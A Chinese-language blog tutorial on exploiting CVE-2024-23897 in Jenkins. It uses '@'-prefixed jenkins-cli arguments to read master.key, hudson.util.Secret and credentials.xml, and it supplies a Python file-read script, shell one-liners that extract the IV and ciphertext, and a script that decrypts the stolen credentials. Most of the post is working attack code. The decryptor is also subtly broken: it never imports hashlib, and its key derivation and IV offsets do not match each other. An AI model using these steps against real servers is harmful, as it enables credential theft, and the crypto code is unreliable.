CVE-2024-23897:Jenkins 任意文件读取漏洞

948 阅读2分钟

简单来说,CVE-2024-23897 是 Jenkins 里的一个严重漏洞,它允许攻击者读取 Jenkins 服务器上的任意文件。如果利用得当,可能导致远程代码执行。

漏洞原理:

这个漏洞源于 Jenkins 使用的 args4j 库。当命令参数以 "@" 字符开头时,args4j 会自动将该参数后面的内容解释为文件名,并读取文件内容作为命令参数。

利用条件:

  • 攻击者可以访问 Jenkins 实例。
  • 需要找到目标文件进行读取。

实战案例:读取 Jenkins 密钥并解密凭据

假设我们发现一个存在 CVE-2024-23897 漏洞的 Jenkins 服务器,并且可以读取部分文件内容(比如前几行)。我们的目标是利用这个漏洞,读取 Jenkins 的密钥,最终解密存储的凭据(例如数据库密码、SSH 密钥等)。

步骤:

  1. 利用漏洞读取有限行文件:

    由于未授权用户默认只能读取文件的前三行,我们需要找到包含关键信息的文件。以下是一些有用的文件:

    • /proc/self/environ: 包含 Jenkins 的环境变量,可以找到 JENKINS_HOME 目录。
    • ${JENKINS_HOME}/secrets/master.key: Jenkins 的主密钥,用于加密凭据。
    • ${JENKINS_HOME}/secrets/hudson.util.Secret: 用于解密凭据的二进制密钥。
    • ${JENKINS_HOME}/credentials.xml: 包含加密的凭据信息。
  2. 读取 hudson.util.Secret 二进制文件:

    直接读取二进制文件可能会遇到编码问题。解决方法是将读取到的内容转换为十六进制字符串。

    import requests
    
    def read_file(url, filepath):
        cli_url = url + "/jnlpJars/jenkins-cli.jar"
        # 下载 jenkins-cli.jar,如果已经下载可以跳过
        # response = requests.get(cli_url)
        # with open("jenkins-cli.jar", "wb") as f:
        #     f.write(response.content)
    
        cmd = f"java -jar jenkins-cli.jar -s {url} who-am-i '@{filepath}' 2>&1"
        import subprocess
        result = subprocess.run(cmd, shell=True, capture_output=True)
        # 将结果转换为16进制输出
        return result.stdout.hex()
    
    jenkins_url = "http://your-jenkins-url:8080"
    file_path = "/var/jenkins_home/secrets/hudson.util.Secret"
    secret_hex = read_file(jenkins_url, file_path)
    print(secret_hex)
    
  3. 破解 hudson.util.Secret

    即使我们只能读取 hudson.util.Secret 的前 16 个字节,在特定情况下也足够破解密钥。根据 Guillaume 的研究,由于美国出口限制,Jenkins 密钥的有效部分可能只有 128 位(16 字节)。

    如果读取到的二进制数据包含 EFBFBD 替换字符,说明存在编码问题。需要找到正确的编码方式或者进行暴力破解。

    # 示例:假设我们已经读取到 hudson.util.Secret 的前 16 个字节
    hudson_secret_hex = "c68f..." # 替换为实际读取到的十六进制数据
    hudson_secret_bytes = bytes.fromhex(hudson_secret_hex)
    
    # 这里需要编写代码,根据实际情况处理替换字符,并进行密钥破解
    # 可以参考 Guillaume 的 Rust 代码,或者使用 Python 实现
    # 核心思路是:暴力枚举可能的密钥,然后尝试解密凭据,验证解密结果是否正确
    
  4. 提取 IV 和 Ciphertext:

    凭据文件中,IV 通常位于文件头之后,而 Ciphertext 则是加密后的凭据内容。可以使用以下命令提取 IV 和 Ciphertext:

    # 提取 IV
    echo -n $ENCRYPTED_CREDENTIAL | base64 -d | tail -c +10 | head -c +16 | xxd -p | sed 's/../0x&,/g'
    
    # 提取 Ciphertext
    echo -n $ENCRYPTED_CREDENTIAL | base64 -d | tail -c +26 | xxd -p | sed 's/../0x&,/g'
    
  5. 利用破解的密钥解密凭据:

    有了 master.keyhudson.util.Secret 和加密的凭据,就可以使用 Jenkins 提供的 API 或者自己编写代码来解密凭据。

代码示例 (Python):

这是一个简化的示例,演示了如何使用 cryptography 库进行 AES 解密。

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64

def decrypt_credential(encrypted_credential, master_key, hudson_secret):
    """解密 Jenkins 凭据"""

    # 1.  从 master.key 派生密钥
    derived_key = hashlib.sha256(master_key + hudson_secret[:16]).digest()

    # 2.  提取 IV 和 Ciphertext
    decoded_credential = base64.b64decode(encrypted_credential)
    iv = decoded_credential[:16]
    ciphertext = decoded_credential[16:]

    # 3.  创建 AES 解密器
    cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()

    # 4.  解密
    decrypted_padded = decryptor.update(ciphertext) + decryptor.finalize()

    # 5.  去除填充
    unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
    decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()

    return decrypted.decode('utf-8')

# 示例数据 (需要替换为实际值)
encrypted_credential = "AQAAAB..."
master_key_hex = "..." # master.key 的十六进制表示
hudson_secret_hex = "..." # hudson.util.Secret 的十六进制表示

master_key = bytes.fromhex(master_key_hex)
hudson_secret = bytes.fromhex(hudson_secret_hex)

try:
    decrypted_credential = decrypt_credential(encrypted_credential, master_key, hudson_secret)
    print("解密后的凭据:", decrypted_credential)
except Exception as e:
    print("解密失败:", e)

总结:

CVE-2024-23897 是一个非常危险的漏洞,攻击者可以利用它读取 Jenkins 服务器上的敏感信息。为了防止被攻击,请务必及时升级 Jenkins 版本。此外,还应该加强 Jenkins 的安全配置,例如限制用户权限、启用 CSRF 保护等。